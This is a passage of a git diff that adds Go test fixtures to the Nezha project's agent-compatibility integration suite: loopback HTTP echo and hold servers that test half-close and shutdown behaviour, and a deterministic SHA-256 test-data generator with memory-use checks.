:= net.SplitHostPort(address) + requireNoFixtureError(t, err) + return strings.TrimSpace(port) +} diff --git a/integration/agentcompat/internal/fixture/nat_echo.go b/integration/agentcompat/internal/fixture/nat_echo.go new file mode 100644 index 00000000..5f6847eb --- /dev/null +++ b/integration/agentcompat/internal/fixture/nat_echo.go @@ -0,0 +1,225 @@ +package fixture + +import ( + "bufio" + "context" + "errors" + "fmt" + "io" + "net" + "net/http" + "sync" + + "github.com/nezhahq/nezha/pkg/agentcompatcontract" +) + +type NATEchoRecord struct { + Method string + Path string + Host string + HeaderValue string + Body []byte + RequestHalfClosed bool + ResponseHalfClosed bool + SensitiveHeadersPresent bool +} + +type natEchoResult struct { + record NATEchoRecord + err error +} + +type NATEchoBackend struct { + listener net.Listener + results chan natEchoResult + done chan struct{} + connectionsReady chan struct{} + requireRequestHalfClose bool + halfCloseResponse bool + closeOnce sync.Once + closeErr error + waitGroup sync.WaitGroup + mutex sync.Mutex + connections map[net.Conn]struct{} + closing bool +} + +func StartNATEchoBackend() (*NATEchoBackend, error) { + return startNATEchoBackend(false, false) +} + +func StartNATHalfCloseEchoBackend() (*NATEchoBackend, error) { + return startNATEchoBackend(true, false) +} + +func StartNATResponseHalfCloseEchoBackend() (*NATEchoBackend, error) { + return startNATEchoBackend(false, true) +} + +func startNATEchoBackend(requireRequestHalfClose, halfCloseResponse bool) (*NATEchoBackend, error) { + listener, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + return nil, fmt.Errorf("listen for NAT echo: %w", err) + } + return newNATEchoBackend(listener, requireRequestHalfClose, halfCloseResponse), nil +} + +func newNATEchoBackend(listener net.Listener, requireRequestHalfClose, halfCloseResponse bool) *NATEchoBackend { + backend := &NATEchoBackend{ + listener: listener, + results: make(chan natEchoResult, 16), + done: make(chan struct{}), + connectionsReady: make(chan struct{}, 16), + requireRequestHalfClose: requireRequestHalfClose, + halfCloseResponse: halfCloseResponse, + connections: make(map[net.Conn]struct{}), + } + backend.waitGroup.Add(1) + go backend.accept() + return backend +} + +func (backend *NATEchoBackend) Address() string { + return backend.listener.Addr().String() +} + +func (backend *NATEchoBackend) WaitRequest(ctx context.Context) (NATEchoRecord, error) { + select { + case result := <-backend.results: + return result.record, result.err + case <-ctx.Done(): + return NATEchoRecord{}, ctx.Err() + case <-backend.done: + return NATEchoRecord{}, errors.New("NAT echo backend closed") + } +} + +func (backend *NATEchoBackend) WaitConnection(ctx context.Context) error { + select { + case <-backend.connectionsReady: + return nil + case <-ctx.Done(): + return fmt.Errorf("wait for NAT echo connection: %w", ctx.Err()) + case <-backend.done: + return errors.New("NAT echo backend closed") + } +} + +func (backend *NATEchoBackend) Close() error { + backend.closeOnce.Do(func() { + close(backend.done) + backend.closeErr = normalizeNATEchoCloseError(backend.listener.Close()) + backend.mutex.Lock() + backend.closing = true + connections := make([]net.Conn, 0, len(backend.connections)) + for connection := range backend.connections { + connections = append(connections, connection) + } + backend.mutex.Unlock() + for _, connection := range connections { + backend.closeErr = errors.Join(backend.closeErr, normalizeNATEchoCloseError(connection.Close())) + } + backend.waitGroup.Wait() + }) + // sync.Once publishes the first shutdown result after cleanup completes, so + // concurrent and repeated callers observe the same outcome. + return backend.closeErr +} + +func normalizeNATEchoCloseError(err error) error { + if errors.Is(err, net.ErrClosed) { + return nil + } + return err +} + +func (backend *NATEchoBackend) accept() { + defer backend.waitGroup.Done() + for { + connection, err := backend.listener.Accept() + if err != nil { + if errors.Is(err, net.ErrClosed) { + return + } + backend.publish(natEchoResult{err: fmt.Errorf("accept NAT echo connection: %w", err)}) + return + } + backend.mutex.Lock() + if backend.closing { + backend.mutex.Unlock() + _ = connection.Close() + continue + } + backend.connections[connection] = struct{}{} + backend.waitGroup.Add(1) + backend.mutex.Unlock() + select { + case backend.connectionsReady <- struct{}{}: + default: + } + go backend.handle(connection) + } +} + +func (backend *NATEchoBackend) handle(connection net.Conn) { + defer backend.waitGroup.Done() + defer func() { + backend.mutex.Lock() + delete(backend.connections, connection) + backend.mutex.Unlock() + _ = connection.Close() + }() + reader := bufio.NewReader(connection) + request, err := http.ReadRequest(reader) + if err != nil { + backend.publish(natEchoResult{err: fmt.Errorf("read NAT echo request: %w", err)}) + return + } + body, err := io.ReadAll(request.Body) + if closeErr := request.Body.Close(); err == nil { + err = closeErr + } + if err != nil { + backend.publish(natEchoResult{err: fmt.Errorf("read NAT echo body: %w", err)}) + return + } + halfClosed := false + if backend.requireRequestHalfClose { + _, halfCloseErr := reader.ReadByte() + halfClosed = errors.Is(halfCloseErr, io.EOF) + if halfCloseErr != nil && !halfClosed { + backend.publish(natEchoResult{err: fmt.Errorf("observe NAT request half-close: %w", halfCloseErr)}) + return + } + } + record := NATEchoRecord{ + Method: request.Method, + Path: request.URL.RequestURI(), + Host: request.Host, + HeaderValue: request.Header.Get("X-AgentCompat-Echo"), + Body: append([]byte(nil), body...), + RequestHalfClosed: halfClosed, + SensitiveHeadersPresent: request.Header.Get(agentcompatcontract.IOStreamCapabilityHeader) != "" || request.Header.Get("Authorization") != "", + } + responseBody := fmt.Sprintf("method=%s\npath=%s\nhost=%s\nx-agentcompat-echo=%s\nbody=%s\n", record.Method, record.Path, record.Host, record.HeaderValue, record.Body) + response := fmt.Sprintf("HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\nContent-Length: %d\r\nConnection: close\r\n\r\n%s", len(responseBody), responseBody) + if _, err := io.WriteString(connection, response); err != nil { + backend.publish(natEchoResult{err: fmt.Errorf("write NAT echo response: %w", err)}) + return + } + if tcpConnection, ok := connection.(*net.TCPConn); ok && backend.halfCloseResponse { + if err := tcpConnection.CloseWrite(); err != nil { + backend.publish(natEchoResult{err: fmt.Errorf("half-close NAT echo response: %w", err)}) + return + } + record.ResponseHalfClosed = true + } + backend.publish(natEchoResult{record: record}) +} + +func (backend *NATEchoBackend) publish(result natEchoResult) { + select { + case backend.results <- result: + case <-backend.done: + } +} diff --git a/integration/agentcompat/internal/fixture/nat_echo_test.go b/integration/agentcompat/internal/fixture/nat_echo_test.go new file mode 100644 index 00000000..cde9da72 --- /dev/null +++ b/integration/agentcompat/internal/fixture/nat_echo_test.go @@ -0,0 +1,233 @@ +package fixture + +import ( + "bufio" + "context" + "errors" + "fmt" + "io" + "net" + "net/http" + "strings" + "sync" + "testing" + "time" +) + +func TestFixture_NATEchoHalfClose(t *testing.T) { + // Given + backend, err := StartNATHalfCloseEchoBackend() + requireNoFixtureError(t, err) + t.Cleanup(func() { requireNoFixtureError(t, backend.Close()) }) + connection, err := net.DialTimeout("tcp", backend.Address(), time.Second) + requireNoFixtureError(t, err) + tcpConnection := connection.(*net.TCPConn) + defer tcpConnection.Close() + requireNoFixtureError(t, tcpConnection.SetDeadline(time.Now().Add(2*time.Second))) + requestBody := "half-closed" + request := fmt.Sprintf("POST /echo?case=half-close HTTP/1.1\r\nHost: nat.invalid\r\nX-AgentCompat-Echo: fixture\r\nContent-Length: %d\r\nConnection: close\r\n\r\n%s", len(requestBody), requestBody) + + // When + _, err = io.WriteString(tcpConnection, request) + requireNoFixtureError(t, err) + requireNoFixtureError(t, tcpConnection.CloseWrite()) + response, err := http.ReadResponse(bufio.NewReader(tcpConnection), nil) + requireNoFixtureError(t, err) + responseBody, err := io.ReadAll(response.Body) + requireNoFixtureError(t, err) + requireNoFixtureError(t, response.Body.Close()) + ctx, cancel := context.WithTimeout(context.Background(), time.Second) + defer cancel() + record, err := backend.WaitRequest(ctx) + requireNoFixtureError(t, err) + + // Then + const expected = "method=POST\npath=/echo?case=half-close\nhost=nat.invalid\nx-agentcompat-echo=fixture\nbody=half-closed\n" + if response.StatusCode != http.StatusOK || string(responseBody) != expected { + t.Fatalf("NAT echo response = %d %q", response.StatusCode, responseBody) + } + if !record.RequestHalfClosed { + t.Fatal("backend responded before observing request half-close") + } + if record.Method != "POST" || record.Path != "/echo?case=half-close" || record.Host != "nat.invalid" || record.HeaderValue != "fixture" || string(record.Body) != requestBody { + t.Fatalf("NAT request record = %+v", record) + } +} + +func TestFixture_NATEcho(t *testing.T) { + // Given + backend, err := StartNATEchoBackend() + requireNoFixtureError(t, err) + t.Cleanup(func() { requireNoFixtureError(t, backend.Close()) }) + ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second) + defer cancel() + request, err := http.NewRequestWithContext(ctx, http.MethodPut, "http://"+backend.Address()+"/echo?case=ordinary", strings.NewReader("ordinary")) + requireNoFixtureError(t, err) + request.Host = "nat.invalid" + request.Header.Set("X-AgentCompat-Echo", "fixture") + + // When + response, err := http.DefaultClient.Do(request) + requireNoFixtureError(t, err) + responseBody, err := io.ReadAll(response.Body) + requireNoFixtureError(t, err) + requireNoFixtureError(t, response.Body.Close()) + record, err := backend.WaitRequest(ctx) + requireNoFixtureError(t, err) + + // Then + const expected = "method=PUT\npath=/echo?case=ordinary\nhost=nat.invalid\nx-agentcompat-echo=fixture\nbody=ordinary\n" + if response.StatusCode != http.StatusOK || string(responseBody) != expected { + t.Fatalf("NAT echo response = %d %q", response.StatusCode, responseBody) + } + if record.RequestHalfClosed || record.ResponseHalfClosed || record.Method != http.MethodPut || record.Host != "nat.invalid" { + t.Fatalf("NAT request record = %+v", record) + } +} + +func TestFixture_NATResponseHalfCloseEcho(t *testing.T) { + // Given + backend, err := StartNATResponseHalfCloseEchoBackend() + requireNoFixtureError(t, err) + t.Cleanup(func() { requireNoFixtureError(t, backend.Close()) }) + connection, err := net.DialTimeout("tcp", backend.Address(), time.Second) + requireNoFixtureError(t, err) + defer connection.Close() + requireNoFixtureError(t, connection.SetDeadline(time.Now().Add(2*time.Second))) + + // When + _, err = io.WriteString(connection, "GET /response-half-close HTTP/1.1\r\nHost: nat.invalid\r\nContent-Length: 0\r\n\r\n") + requireNoFixtureError(t, err) + response, err := http.ReadResponse(bufio.NewReader(connection), nil) + requireNoFixtureError(t, err) + _, err = io.ReadAll(response.Body) + requireNoFixtureError(t, err) + requireNoFixtureError(t, response.Body.Close()) + ctx, cancel := context.WithTimeout(context.Background(), time.Second) + defer cancel() + record, err := backend.WaitRequest(ctx) + requireNoFixtureError(t, err) + + // Then + if !record.ResponseHalfClosed || record.RequestHalfClosed { + t.Fatalf("NAT response half-close record = %+v", record) + } +} + +func TestFixture_NATEchoCloseInterruptsIncompleteRequest(t *testing.T) { + // Given + backend, err := StartNATEchoBackend() + requireNoFixtureError(t, err) + connection, err := net.DialTimeout("tcp", backend.Address(), time.Second) + requireNoFixtureError(t, err) + defer connection.Close() + _, err = io.WriteString(connection, "GET /incomplete HTTP/1.1\r\nHost: nat.invalid\r\n") + requireNoFixtureError(t, err) + ctx, cancel := context.WithTimeout(context.Background(), time.Second) + defer cancel() + requireNoFixtureError(t, backend.WaitConnection(ctx)) + + // When + closed := make(chan error, 1) + go func() { closed <- backend.Close() }() + + // Then + select { + case err := <-closed: + requireNoFixtureError(t, err) + case <-ctx.Done(): + t.Fatal("NAT echo close did not interrupt incomplete request") + } +} + +func TestFixture_NATEchoCloseTerminatesSockets(t *testing.T) { + // Given + backend, err := StartNATHalfCloseEchoBackend() + requireNoFixtureError(t, err) + address := backend.Address() + connection, err := net.DialTimeout("tcp", address, time.Second) + requireNoFixtureError(t, err) + requireNoFixtureError(t, connection.SetDeadline(time.Now().Add(time.Second))) + + // When + requireNoFixtureError(t, backend.Close()) + + // Then + buffer := make([]byte, 1) + if _, err := connection.Read(buffer); err == nil { + t.Fatal("active NAT socket remained readable after backend close") + } + requireNoFixtureError(t, connection.Close()) + if connection, err := net.DialTimeout("tcp", address, 100*time.Millisecond); err == nil { + _ = connection.Close() + t.Fatal("NAT listener accepted a connection after backend close") + } +} + +func TestFixture_NATEchoCloseIsConcurrentAndIdempotent(t *testing.T) { + // Given + listener, err := net.Listen("tcp", "127.0.0.1:0") + requireNoFixtureError(t, err) + closeFailure := errors.New("injected listener close failure") + backend := newNATEchoBackend(closeErrorListener{Listener: listener, err: closeFailure}, false, false) + connection, err := net.DialTimeout("tcp", backend.Address(), time.Second) + requireNoFixtureError(t, err) + defer connection.Close() + _, err = io.WriteString(connection, "GET /incomplete HTTP/1.1\r\nHost: nat.invalid\r\n") + requireNoFixtureError(t, err) + ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second) + defer cancel() + requireNoFixtureError(t, backend.WaitConnection(ctx)) + + // When + const callers = 16 + start := make(chan struct{}) + closeErrors := make(chan error, callers) + var waitGroup sync.WaitGroup + waitGroup.Add(callers) + for range callers { + go func() { + defer waitGroup.Done() + <-start + closeErrors <- backend.Close() + }() + } + close(start) + waitGroup.Wait() + close(closeErrors) + + // Then + for closeErr := range closeErrors { + if !errors.Is(closeErr, closeFailure) { + t.Fatalf("concurrent close error = %v, want %v", closeErr, closeFailure) + } + } + if closeErr := backend.Close(); !errors.Is(closeErr, closeFailure) { + t.Fatalf("repeated close error = %v, want %v", closeErr, closeFailure) + } +} + +type closeErrorListener struct { + net.Listener + err error +} + +func (listener closeErrorListener) Close() error { + _ = listener.Listener.Close() + return listener.err +} + +func (listener closeErrorListener) Accept() (net.Conn, error) { + connection, err := listener.Listener.Accept() + if err != nil { + return nil, err + } + return alreadyClosedErrorConn{Conn: connection}, nil +} + +type alreadyClosedErrorConn struct{ net.Conn } + +func (connection alreadyClosedErrorConn) Close() error { + _ = connection.Conn.Close() + return net.ErrClosed +} diff --git a/integration/agentcompat/internal/fixture/nat_hold.go b/integration/agentcompat/internal/fixture/nat_hold.go new file mode 100644 index 00000000..46a4bc0b --- /dev/null +++ b/integration/agentcompat/internal/fixture/nat_hold.go @@ -0,0 +1,147 @@ +package fixture + +import ( + "bufio" + "context" + "errors" + "fmt" + "io" + "net" + "net/http" + "sync" + + "github.com/nezhahq/nezha/pkg/agentcompatcontract" +) + +type NATHoldBackend struct { + listener net.Listener + results chan natHoldResult + done chan struct{} + released chan struct{} + observed chan struct{} + closeOnce sync.Once + releaseOnce sync.Once + closeErr error + waitGroup sync.WaitGroup + connectionMu sync.Mutex + connection net.Conn +} + +type natHoldResult struct { + record NATEchoRecord + err error +} + +func StartNATHoldBackend() (*NATHoldBackend, error) { + listener, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + return nil, fmt.Errorf("listen for NAT hold: %w", err) + } + backend := &NATHoldBackend{listener: listener, results: make(chan natHoldResult, 1), done: make(chan struct{}), released: make(chan struct{}), observed: make(chan struct{})} + backend.waitGroup.Add(2) + go backend.accept() + return backend, nil +} + +func (backend *NATHoldBackend) Address() string { return backend.listener.Addr().String() } + +func (backend *NATHoldBackend) RequestObserved() <-chan struct{} { return backend.observed } + +func (backend *NATHoldBackend) ResponseReleased() <-chan struct{} { return backend.released } + +func (backend *NATHoldBackend) WaitRequest(ctx context.Context) (NATEchoRecord, error) { + select { + case result := <-backend.results: + return result.record, result.err + case <-ctx.Done(): + return NATEchoRecord{}, ctx.Err() + case <-backend.done: + return NATEchoRecord{}, errors.New("NAT hold backend closed") + } +} + +func (backend *NATHoldBackend) Release() error { + backend.releaseOnce.Do(func() { close(backend.released) }) + return nil +} + +func (backend *NATHoldBackend) Close() error { + backend.closeOnce.Do(func() { + close(backend.done) + backend.closeErr = normalizeNATHoldCloseError(backend.listener.Close()) + backend.connectionMu.Lock() + connection := backend.connection + backend.connectionMu.Unlock() + if connection != nil { + backend.closeErr = errors.Join(backend.closeErr, normalizeNATHoldCloseError(connection.Close())) + } + backend.releaseOnce.Do(func() { close(backend.released) }) + backend.waitGroup.Wait() + }) + return backend.closeErr +} + +func normalizeNATHoldCloseError(err error) error { + if errors.Is(err, net.ErrClosed) { + return nil + } + return err +} + +func (backend *NATHoldBackend) accept() { + defer backend.waitGroup.Done() + connection, err := backend.listener.Accept() + if err != nil { + backend.waitGroup.Done() + if !errors.Is(err, net.ErrClosed) { + backend.publish(natHoldResult{err: fmt.Errorf("accept NAT hold connection: %w", err)}) + } + return + } + backend.connectionMu.Lock() + backend.connection = connection + backend.connectionMu.Unlock() + select { + case <-backend.done: + _ = connection.Close() + default: + } + go backend.handle(connection) +} + +func (backend *NATHoldBackend) handle(connection net.Conn) { + defer backend.waitGroup.Done() + defer func() { _ = connection.Close() }() + request, err := http.ReadRequest(bufio.NewReader(connection)) + if err != nil { + backend.publish(natHoldResult{err: fmt.Errorf("read NAT hold request: %w", err)}) + return + } + body, err := io.ReadAll(request.Body) + if closeErr := request.Body.Close(); err == nil { + err = closeErr + } + if err != nil { + backend.publish(natHoldResult{err: fmt.Errorf("read NAT hold body: %w", err)}) + return + } + record := NATEchoRecord{Method: request.Method, Path: request.URL.RequestURI(), Host: request.Host, HeaderValue: request.Header.Get("X-AgentCompat-Echo"), Body: append([]byte(nil), body...), SensitiveHeadersPresent: request.Header.Get(agentcompatcontract.IOStreamCapabilityHeader) != "" || request.Header.Get("Authorization") != ""} + backend.publish(natHoldResult{record: record}) + close(backend.observed) + select { + case <-backend.released: + responseBody := fmt.Sprintf("method=%s\npath=%s\nhost=%s\nx-agentcompat-echo=%s\nbody=%s\n", record.Method, record.Path, record.Host, record.HeaderValue, record.Body) + response := fmt.Sprintf("HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\nContent-Length: %d\r\nConnection: close\r\n\r\n%s", len(responseBody), responseBody) + if _, err := io.WriteString(connection, response); err != nil { + backend.publish(natHoldResult{err: fmt.Errorf("write NAT hold response: %w", err)}) + } + case <-backend.done: + } +} + +func (backend *NATHoldBackend) publish(result natHoldResult) { + select { + case backend.results <- result: + case <-backend.done: + } +} diff --git a/integration/agentcompat/internal/fixture/nat_hold_test.go b/integration/agentcompat/internal/fixture/nat_hold_test.go new file mode 100644 index 00000000..cd98332b --- /dev/null +++ b/integration/agentcompat/internal/fixture/nat_hold_test.go @@ -0,0 +1,126 @@ +package fixture + +import ( + "bufio" + "context" + "errors" + "io" + "net" + "net/http" + "sync" + "testing" +) + +func TestNATHoldBackendObservesBeforeReleaseAndRespondsAfterRelease(t *testing.T) { + backend, err := StartNATHoldBackend() + if err != nil { + t.Fatal(err) + } + defer func() { + if err := backend.Close(); err != nil { + t.Fatal(err) + } + }() + connection, err := net.Dial("tcp", backend.Address()) + if err != nil { + t.Fatal(err) + } + defer connection.Close() + _, err = io.WriteString(connection, "PATCH /hold HTTP/1.1\r\nHost: hold.invalid\r\nX-AgentCompat-Echo: exact\r\nContent-Length: 4\r\n\r\nbody") + if err != nil { + t.Fatal(err) + } + record, err := backend.WaitRequest(context.Background()) + if err != nil || record.Method != "PATCH" || record.Path != "/hold" || record.Host != "hold.invalid" || record.HeaderValue != "exact" || string(record.Body) != "body" { + t.Fatalf("record=%+v err=%v", record, err) + } + select { + case <-backend.ResponseReleased(): + t.Fatal("response released before Release") + default: + } + if err := backend.Release(); err != nil { + t.Fatal(err) + } + response, err := httpReadResponse(connection) + if err != nil || response != "method=PATCH\npath=/hold\nhost=hold.invalid\nx-agentcompat-echo=exact\nbody=body\n" { + t.Fatalf("response=%q err=%v", response, err) + } +} + +func TestNATHoldBackendCloseInterruptsIncompleteRequest(t *testing.T) { + backend, err := StartNATHoldBackend() + if err != nil { + t.Fatal(err) + } + connection, err := net.Dial("tcp", backend.Address()) + if err != nil { + t.Fatal(err) + } + if _, err := io.WriteString(connection, "GET /incomplete HTTP/1.1\r\nHost: hold.invalid\r\n"); err != nil { + t.Fatal(err) + } + if err := backend.Close(); err != nil { + t.Fatal(err) + } + if err := connection.Close(); err != nil { + t.Fatal(err) + } +} + +func TestNATHoldBackendCloseIsConcurrentAndRetainsListenerError(t *testing.T) { + listener, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Fatal(err) + } + closeFailure := errors.New("hold listener close failed") + backend := newNATHoldBackend(closeErrorListener{Listener: listener, err: closeFailure}) + connection, err := net.Dial("tcp", backend.Address()) + if err != nil { + t.Fatal(err) + } + defer connection.Close() + if _, err := io.WriteString(connection, "GET /hold HTTP/1.1\r\nHost: hold.invalid\r\n"); err != nil { + t.Fatal(err) + } + + const callers = 8 + errorsSeen := make(chan error, callers) + var group sync.WaitGroup + group.Add(callers) + for range callers { + go func() { + defer group.Done() + errorsSeen <- backend.Close() + }() + } + group.Wait() + + for range callers { + if err := <-errorsSeen; !errors.Is(err, closeFailure) { + t.Fatalf("Close error=%v, want %v", err, closeFailure) + } + } + if err := backend.Close(); !errors.Is(err, closeFailure) { + t.Fatalf("repeated Close error=%v, want %v", err, closeFailure) + } +} + +func newNATHoldBackend(listener net.Listener) *NATHoldBackend { + backend := &NATHoldBackend{listener: listener, results: make(chan natHoldResult, 1), done: make(chan struct{}), released: make(chan struct{}), observed: make(chan struct{})} + backend.waitGroup.Add(2) + go backend.accept() + return backend +} + +func httpReadResponse(connection net.Conn) (string, error) { + response, err := http.ReadResponse(bufio.NewReader(connection), nil) + if err != nil { + return "", err + } + body, err := io.ReadAll(response.Body) + if closeErr := response.Body.Close(); err == nil { + err = closeErr + } + return string(body), err +} diff --git a/integration/agentcompat/internal/fixture/payload_hash.go b/integration/agentcompat/internal/fixture/payload_hash.go new file mode 100644 index 00000000..f98450db --- /dev/null +++ b/integration/agentcompat/internal/fixture/payload_hash.go @@ -0,0 +1,43 @@ +package fixture + +import ( + "crypto/sha256" + "encoding/hex" + "fmt" + "io" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" +) + +const verifierBufferBytes = 1024 * 1024 + +type PayloadDigest struct { + Bytes uint64 + SHA256 [sha256.Size]byte +} + +func (d PayloadDigest) Hex() string { + return hex.EncodeToString(d.SHA256[:]) +} + +func VerifyPayload(reader io.Reader, expectedBytes uint64) (PayloadDigest, error) { + if expectedBytes > contract.TransferBytes { + return PayloadDigest{}, ErrPayloadOverrun + } + hash := sha256.New() + buffer := make([]byte, verifierBufferBytes) + limited := io.LimitReader(reader, int64(expectedBytes)+1) + written, err := io.CopyBuffer(hash, limited, buffer) + if err != nil { + return PayloadDigest{}, fmt.Errorf("verify payload: %w", err) + } + if uint64(written) > expectedBytes { + return PayloadDigest{}, ErrPayloadOverrun + } + if uint64(written) != expectedBytes { + return PayloadDigest{}, ErrPayloadSizeMismatch + } + digest := PayloadDigest{Bytes: uint64(written)} + copy(digest.SHA256[:], hash.Sum(nil)) + return digest, nil +} diff --git a/integration/agentcompat/internal/fixture/payload_heap_test.go b/integration/agentcompat/internal/fixture/payload_heap_test.go new file mode 100644 index 00000000..d70c0632 --- /dev/null +++ b/integration/agentcompat/internal/fixture/payload_heap_test.go @@ -0,0 +1,65 @@ +package fixture + +import ( + "bytes" + "io" + "runtime" + "testing" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" +) + +type retainedHeapReader struct { + reader io.Reader + baseline uint64 + peak uint64 +} + +func verifyPayloadPeakRetainedHeap(reader io.Reader, expectedBytes uint64) (PayloadDigest, uint64, error) { + runtime.GC() + var baseline runtime.MemStats + runtime.ReadMemStats(&baseline) + measuredReader := &retainedHeapReader{reader: reader, baseline: baseline.HeapAlloc} + digest, err := VerifyPayload(measuredReader, expectedBytes) + return digest, measuredReader.peak, err +} + +func (reader *retainedHeapReader) Read(destination []byte) (int, error) { + readBytes, err := reader.reader.Read(destination) + // Sampling after a forced collection measures the live heap retained by each + // streaming checkpoint instead of scheduler-dependent allocation churn. + runtime.GC() + var sample runtime.MemStats + runtime.ReadMemStats(&sample) + runtime.KeepAlive(destination) + if sample.HeapAlloc > reader.baseline { + reader.peak = max(reader.peak, sample.HeapAlloc-reader.baseline) + } + return readBytes, err +} + +func TestFixture_PeakRetainedHeapDetectsRetainedAllocation(t *testing.T) { + // Given + reader := &allocationRetainingReader{reader: bytes.NewReader([]byte("x"))} + + // When + _, peakRetainedHeap, err := verifyPayloadPeakRetainedHeap(reader, 1) + requireNoFixtureError(t, err) + + // Then + if peakRetainedHeap <= contract.TransferHeapBytes { + t.Fatalf("peak retained heap = %d, want greater than %d", peakRetainedHeap, contract.TransferHeapBytes) + } +} + +type allocationRetainingReader struct { + reader io.Reader + retained []byte +} + +func (reader *allocationRetainingReader) Read(destination []byte) (int, error) { + if reader.retained == nil { + reader.retained = make([]byte, contract.TransferHeapBytes+1024*1024) + } + return reader.reader.Read(destination) +} diff --git a/integration/agentcompat/internal/fixture/payload_measurement.go b/integration/agentcompat/internal/fixture/payload_measurement.go new file mode 100644 index 00000000..37225d7a --- /dev/null +++ b/integration/agentcompat/internal/fixture/payload_measurement.go @@ -0,0 +1,89 @@ +package fixture + +import ( + "crypto/sha256" + "hash" + "io" + "runtime" +) + +type PayloadMeasurement struct { + Digest PayloadDigest + RetainedHeapBytes uint64 + Chunks uint64 +} + +type RetainedHeapProbe struct { + baseline uint64 +} + +func NewRetainedHeapProbe() RetainedHeapProbe { + runtime.GC() + var sample runtime.MemStats + runtime.ReadMemStats(&sample) + return RetainedHeapProbe{baseline: sample.HeapAlloc} +} + +func (probe RetainedHeapProbe) RetainedBytes() uint64 { + runtime.GC() + var sample runtime.MemStats + runtime.ReadMemStats(&sample) + if sample.HeapAlloc <= probe.baseline { + return 0 + } + return sample.HeapAlloc - probe.baseline +} + +type MeasuredReader struct { + reader io.Reader + hash hash.Hash + bytes uint64 + chunks uint64 +} + +func NewMeasuredReader(reader io.Reader) *MeasuredReader { + return &MeasuredReader{reader: reader, hash: sha256.New()} +} + +func (reader *MeasuredReader) Read(destination []byte) (int, error) { + readBytes, err := reader.reader.Read(destination) + if readBytes > 0 { + _, _ = reader.hash.Write(destination[:readBytes]) + reader.bytes += uint64(readBytes) + reader.chunks++ + } + return readBytes, err +} + +func (reader *MeasuredReader) Measurement() PayloadMeasurement { + return newPayloadMeasurement(reader.hash, reader.bytes, reader.chunks) +} + +type MeasuredWriter struct { + hash hash.Hash + bytes uint64 + chunks uint64 +} + +func NewMeasuredWriter() *MeasuredWriter { + return &MeasuredWriter{hash: sha256.New()} +} + +func (writer *MeasuredWriter) Write(payload []byte) (int, error) { + written, err := writer.hash.Write(payload) + if written > 0 { + writer.bytes += uint64(written) + writer.chunks++ + } + return written, err +} + +func (writer *MeasuredWriter) Measurement() PayloadMeasurement { + return newPayloadMeasurement(writer.hash, writer.bytes, writer.chunks) +} + +func newPayloadMeasurement(payloadHash hash.Hash, bytes, chunks uint64) PayloadMeasurement { + digest := PayloadDigest{Bytes: bytes} + copy(digest.SHA256[:], payloadHash.Sum(nil)) + return PayloadMeasurement{Digest: digest, Chunks: chunks} +} diff --git a/integration/agentcompat/internal/fixture/payload_reader.go b/integration/agentcompat/internal/fixture/payload_reader.go new file mode 100644 index 00000000..e6688e33 --- /dev/null +++ b/integration/agentcompat/internal/fixture/payload_reader.go @@ -0,0 +1,68 @@ +package fixture + +import ( + "crypto/sha256" + "encoding/binary" + "fmt" + "io" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" +) + +const payloadBlockSize = sha256.Size + +type Payload struct { + seed contract.Seed + size uint64 +} + +type payloadReader struct { + payload Payload + offset uint64 +} + +func NewPayload(seed contract.Seed, size uint64) (Payload, error) { + if seed == 0 { + return Payload{}, fmt.Errorf("payload seed must be nonzero") + } + if size > contract.TransferBytes { + return Payload{}, ErrPayloadOverrun + } + return Payload{seed: seed, size: size}, nil +} + +func (p Payload) Reader() io.Reader { + return &payloadReader{payload: p} +} + +func (r *payloadReader) Read(destination []byte) (int, error) { + if r.offset >= r.payload.size { + return 0, io.EOF + } + remaining := r.payload.size - r.offset + if uint64(len(destination)) > remaining { + destination = destination[:remaining] + } + written := fillPayload(destination, r.payload.seed, r.offset) + r.offset += uint64(written) + if r.offset == r.payload.size { + return written, io.EOF + } + return written, nil +} + +func fillPayload(destination []byte, seed contract.Seed, offset uint64) int { + written := 0 + for written < len(destination) { + absoluteOffset := offset + uint64(written) + blockIndex := absoluteOffset / payloadBlockSize + blockOffset := absoluteOffset % payloadBlockSize + var input [16]byte + binary.BigEndian.PutUint64(input[:8], uint64(seed)) + binary.BigEndian.PutUint64(input[8:], blockIndex) + block := sha256.Sum256(input[:]) + copied := copy(destination[written:], block[blockOffset:]) + written += copied + } + return written +} diff --git a/integration/agentcompat/internal/fixture/payload_test.go b/integration/agentcompat/internal/fixture/payload_test.go new file mode 100644 index 00000000..7c8503f0 --- /dev/null +++ b/integration/agentcompat/internal/fixture/payload_test.go @@ -0,0 +1,147 @@ +package fixture + +import ( + "bytes" + "crypto/sha256" + "encoding/binary" + "errors" + "fmt" + "io" + "testing" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" +) + +func TestFixture_StreamsExact100MiB(t *testing.T) { + // Given + payload, err := NewPayload(contract.DefaultSeed, contract.TransferBytes) + requireNoFixtureError(t, err) + + // When + digest, peakRetainedHeap, err := verifyPayloadPeakRetainedHeap(payload.Reader(), contract.TransferBytes) + requireNoFixtureError(t, err) + stableDigest, err := VerifyPayload(payload.Reader(), contract.TransferBytes) + requireNoFixtureError(t, err) + independentDigest := independentlyHashPayload(contract.DefaultSeed, contract.TransferBytes) + + // Then + if digest.Bytes != contract.TransferBytes { + t.Fatalf("payload bytes = %d", digest.Bytes) + } + if digest.SHA256 != stableDigest.SHA256 { + t.Fatalf("payload SHA changed: %s != %s", digest.Hex(), stableDigest.Hex()) + } + if digest.SHA256 != independentDigest { + t.Fatalf("payload SHA does not match independent generator: %s", digest.Hex()) + } + if peakRetainedHeap == 0 { + t.Fatal("peak retained heap measurement did not observe live streaming allocations") + } + if peakRetainedHeap > contract.TransferHeapBytes { + t.Fatalf("peak retained heap = %d, limit = %d", peakRetainedHeap, contract.TransferHeapBytes) + } + t.Logf("bytes=%d sha256=%s peak_retained_heap=%d", digest.Bytes, digest.Hex(), peakRetainedHeap) +} + +func independentlyHashPayload(seed contract.Seed, size uint64) [sha256.Size]byte { + hash := sha256.New() + var input [16]byte + var remaining = size + for blockIndex := uint64(0); remaining > 0; blockIndex++ { + 